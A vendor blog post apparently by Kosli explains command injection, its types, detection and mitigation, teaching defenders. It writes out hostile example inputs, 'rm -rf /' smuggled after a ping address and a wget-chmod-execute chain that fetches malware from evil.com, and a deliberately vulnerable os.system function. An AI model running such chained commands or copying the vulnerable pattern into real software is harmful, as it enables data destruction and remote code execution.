We are thrilled to announce 📢 Kosli is now SOC 2 Type 2 compliant - Read more
✨ New Feature: Kosli Trails is live ✨ Create comprehensive audit trails for any DevOps activity - Read more
command injection

Command Injection: A Guide to Types, Risks, and Prevention

Juan Reyes
Author Juan Reyes
Published May 12, 2023 in technology
clock icon 8 min read

Command injection is a kind of cyber attack that allows an attacker to execute arbitrary commands on a system. Attackers accomplish this by exploiting vulnerabilities in an application’s input validation process.

How Command Injection Works

Command injection attacks occur when an application passes unsafe user input to a system shell. In these instances, attackers can manipulate the input data to include additional commands, granting them unauthorized access to the underlying system. 

Let’s consider a simple example to understand the mechanics of command injection. Imagine a web application that allows users to ping other devices on the network. Users input an IP address, and the application sends a ping request to the specified address. For example, the application might use a command like this: 

$ ping [user-supplied IP address]

An attacker can exploit this functionality by providing malicious input with extra commands. For example, they might input this:

8.8.8.8; rm -rf /

In this case, the application would run the following command:

$ ping 8.8.8.8; rm -rf /

The semicolon (;) allows the attacker to execute multiple commands in a single line. In this example, after the ping command, the attacker’s input instructs the system to delete all files and directories on the system – a devastating outcome.

Common Command Injections

Command injection vulnerabilities can take many forms, but these are some of the most common types: 

  1. OS Command Injection: Operating system (OS) command injection targets vulnerabilities in the operating system’s command interpreter (e.g., cmd.exe on Windows, bash on Linux). Attackers exploit these vulnerabilities to execute arbitrary OS commands with the same privileges as the application.
  2. SQL Injection: SQL injection is a common command injection targeting databases. Attackers exploit vulnerabilities in an application’s SQL query construction process to inject malicious SQL commands. While SQL injection is not technically the same as OS command injection, it follows a similar principle. It can lead to severe consequences, such as unauthorized data access or corruption.
  3. Code Injection: In code injection attacks, the attacker injects malicious code into an application, typically through user input fields. This code can be executed within the application’s runtime environment, allowing the attacker to perform actions such as stealing sensitive information or modifying the application’s behavior.
  4. Shell Injection: Similar to OS command injection, shell injection attacks exploit vulnerabilities in the application’s use of shell commands. Attackers inject malicious commands that the shell interpreter executes, often leading to unauthorized access or data exfiltration.

Now that we’ve discussed the different types of command injection, let’s look at some ways to identify and mitigate these vulnerabilities. 

Identifying Command Injection Vulnerabilities

Detecting command injection vulnerabilities requires a combination of manual and automated testing techniques. Here are some common methods: 

Code Review

Manual code review can help identify insecure coding practices that lead to command injection vulnerabilities. For example, look for instances where user input is passed directly to system commands or shell functions without proper validation or sanitization. 

Static Application Security Testing (SAST)

SAST tools can automatically analyze source code for potential vulnerabilities, including command injection risks. In addition, these tools can help you identify insecure coding patterns and provide recommendations for remediation. 

Dynamic Application Security Testing (DAST)

DAST tools simulate attacks on running applications to identify vulnerabilities, including command injection. By actively probing your application, these tools can uncover vulnerabilities that might not be apparent during static analysis or manual code review. 

Penetration Testing

Finally, engaging professional penetration testers can help uncover command injection vulnerabilities in your application. These experts simulate real-world attacks to identify security weaknesses, providing valuable insights into potential risks and mitigation strategies. 

Mitigating Command Injection Risks

Implementing the following best practices can help protect your applications against command injection attacks: 

  1. Input Validation: Validate user input by ensuring it conforms to a specific format or expected data type. Implementing strict input validation can help prevent attackers from injecting malicious commands through user input fields.
  2. Input Sanitization: Sanitize user input by removing or escaping special characters that can be used to construct malicious commands. For instance, consider using functions like escapeshellcmd() in PHP or shlex.quote() in Python to safely pass user input to shell commands.
  3. Least Privilege Principle: Limit the permissions and privileges of your application to the bare minimum required for its functionality. By doing so, even if an attacker successfully injects a command, the potential damage is minimized.
  4. Prepared Statements and Parameterized Queries: When working with databases, use prepared statements and parameterized queries to separate user input from SQL commands. This technique can help prevent SQL injection attacks.
  5. Secure Coding Practices: Adopt secure coding practices, such as the OWASP Secure Coding Practices Quick Reference Guide, to reduce the risk of command injection vulnerabilities. Train your development team on the importance of secure coding, and encourage regular code reviews to identify and remediate vulnerabilities.
  6. Regularly Update and Patch Software: Keep your operating system, web server, and application software up to date with the latest security patches. Regular updates can help protect your system from known vulnerabilities that may be exploited in command injection attacks.
  7. Monitor and Log System Activity: Implement logging and monitoring mechanisms to track suspicious activity on your system. Regularly review these logs to identify potential command injection attempts and take corrective actions as needed.

A More Elaborate Example of Command Injection

Let’s consider a more elaborate example of a command injection attack involving a web application that allows users to view server log files. This application might have a feature where users can select a log file from a dropdown list and view its contents. For example, the application may use the following code to display the log file: 

import os

def display_log(log_file_name):
    command = f"cat /var/log/{log_file_name}"
    os.system(command)

In this example, the display_log function takes the user-supplied log_file_name and constructs a shell command to read the content of the log file. The command is then executed using Python’s os.system() function. An attacker can exploit this functionality by manipulating the input to include additional malicious commands. For example, they might craft an input like this:

$ auth.log; wget http://evil.com/malware.sh -O /tmp/malware.sh; chmod +x /tmp/malware.sh; /tmp/malware.sh

If the application does not properly validate or sanitize the input, it will execute the following command:

$ cat /var/log/auth.log; wget http://evil.com/malware.sh -O /tmp/malware.sh; chmod +x /tmp/malware.sh; /tmp/malware.sh

In this case, the attacker has chained multiple commands using semicolons: 

  1. cat /var/log/auth.log: Displays the content of the auth.log file as intended.
  2. wget http://evil.com/malware.sh -O /tmp/malware.sh: Downloads a malicious script from the attacker’s server and saves it as /tmp/malware.sh.
  3. chmod +x /tmp/malware.sh: Makes the downloaded script executable.
  4. /tmp/malware.sh: Executes the malicious script on the target system.

The attacker has now successfully executed a command injection attack, gaining unauthorized access to the system and potentially causing significant damage. 

Mitigation Strategy

The application should implement proper input validation and sanitization to prevent this attack. For example, you can implement the following strategies: 

Whitelist allowed log files

Create a list of allowed log files that users can view. Only allow users to select log files from this list and reject any input that does not match an item on the whitelist. This ensures that user input is strictly limited to predefined options, preventing the execution of arbitrary commands. For example: 

ALLOWED_LOG_FILES = ["auth.log", "syslog", "access.log"]

def display_log(log_file_name):

    if log_file_name not in ALLOWED_LOG_FILES:
        return "Invalid log file."

    # Continue with the rest of the function

Use a safer method to execute commands

Replace the os.system() function, which is prone to command injection attacks, with a safer alternative that doesn’t involve shell command execution. In Python, you can use the subprocess.run() function, which allows you to pass command arguments as a list, preventing command chaining. For example:

import subprocess

def display_log(log_file_name):

    # Perform input validation as mentioned earlier

    command = ["cat", f"/var/log/{log_file_name}"]

    subprocess.run(command)

In this example, the subprocess.run() function takes a list of command arguments, making it more difficult for an attacker to chain additional commands. 

Proper error handling

Implement appropriate error handling in your application to minimize the risk of unexpected behavior attackers could exploit. For instance, check for errors when opening or reading a log file and handle them accordingly without exposing sensitive information to the user. 

By combining these strategies, you can effectively mitigate the risk of a command injection attack in the log file viewing example. Remember that it’s essential to adopt secure coding practices, implement input validation and sanitization, and stay informed about new vulnerabilities and attack techniques to maintain a strong security posture. 

Conclusion

Following these best practices can significantly reduce the risk of command injection attacks against your applications. Remember that security is an ongoing process; staying informed about new vulnerabilities and attack techniques is essential to keep your systems safe. 

This post was written by Juan Reyes. As an entrepreneur, skilled engineer, and mental health champion, Juan pursues sustainable self-growth, embodying leadership, wit, and passion. With over 15 years of experience in the tech industry, Juan has had the opportunity to work with some of the most prominent players in mobile development, web development, and e-commerce in Japan and the US.


ABOUT THIS ARTICLE

Published May 12, 2023, in technology

AUTHOR

Stay in the loop with the Kosli newsletter

Get the latest updates, tutorials, news and more, delivered right to your inbox
Kosli is committed to protecting and respecting your privacy. By submitting this newsletter request, I consent to Kosli sending me marketing communications via email. I may opt out at any time. For information about our privacy practices, please visit Kosli's privacy policy.
Kosli team reading the newsletter

Got a question about Kosli?

We’re here to help, our customers range from larges fintechs, medtechs and regulated business all looking to streamline their DevOps audit trails

Contact us
Developers using Kosli